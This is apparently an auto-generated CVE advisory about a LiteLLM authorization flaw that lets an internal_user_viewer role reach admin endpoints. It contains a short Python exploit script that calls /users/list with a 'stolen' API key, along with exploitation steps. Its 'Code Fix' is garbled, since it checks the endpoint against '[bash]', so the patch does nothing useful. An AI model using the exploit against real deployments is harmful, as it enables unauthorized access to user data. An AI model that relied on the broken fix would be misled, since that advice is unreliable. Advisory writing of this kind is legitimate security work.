How the CVE Works:
The vulnerability in LiteLLM arises due to improper authorization checks in the application’s role-based access control (RBAC) system. When a user with the role ‘internal_user_viewer’ logs in, the system erroneously assigns an API key with elevated privileges. This key grants access to administrative endpoints such as `/users/list` and /users/get_users, which should be restricted to higher-level roles like ‘admin’ or ‘proxy_admin’. As a result, an attacker with the ‘internal_user_viewer’ role can escalate their privileges to perform administrative actions, effectively becoming a PROXY ADMIN. This flaw stems from a misconfiguration in the authorization logic, allowing unauthorized access to sensitive functionalities.
DailyCVE Form:
Platform: LiteLLM
Version: main-latest
Vulnerability: Improper Authorization
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Exploit Code (Python):
import requests
Replace with target URL and stolen API key
target_url = "https://target-litellm-instance.com"
api_key = "stolen_internal_user_viewer_key"
headers = {
"Authorization": f"Bearer {api_key}"
}
Access admin endpoints
response = requests.get(f"{target_url}/users/list", headers=headers)
if response.status_code == 200:
print("Exploit successful! Retrieved user list:", response.json())
2. Steps to Exploit:
- Gain access to an account with the ‘internal_user_viewer’ role.
- Extract the overly privileged API key from the login response.
- Use the key to access admin endpoints like `/users/list` and
/users/get_users.
Protection:
1. Patch Implementation:
- Update LiteLLM to the latest version where the authorization logic is fixed.
- Ensure API keys are scoped correctly based on user roles.
2. Mitigation Steps:
- Review and tighten RBAC configurations.
- Implement strict validation for API key permissions.
- Monitor and log access to sensitive endpoints.
3. Code Fix (Example):
def authorize_user(api_key, endpoint):
user_role = get_role_from_api_key(api_key)
if user_role == "internal_user_viewer" and endpoint in [bash]:
raise PermissionError("Unauthorized access attempt.")
return True
4. Analytics:
- Impact: High risk of privilege escalation.
- Attack Vector: Exploitable via authenticated access.
- CVSS Score: 8.5 (High).
5. Commands for System Admins:
- Check for exposed API keys:
grep -r "API_KEY" /path/to/litellm/config. - Monitor logs for suspicious activity:
tail -f /var/log/litellm/access.log.
6. Additional Recommendations:
- Conduct regular security audits.
- Use tools like OWASP ZAP to test for similar vulnerabilities.
- Educate developers on secure coding practices for RBAC systems.
References:
Reported By: https://github.com/advisories/GHSA-fjcf-3j3r-78rp
Extra Source Hub:
Undercode
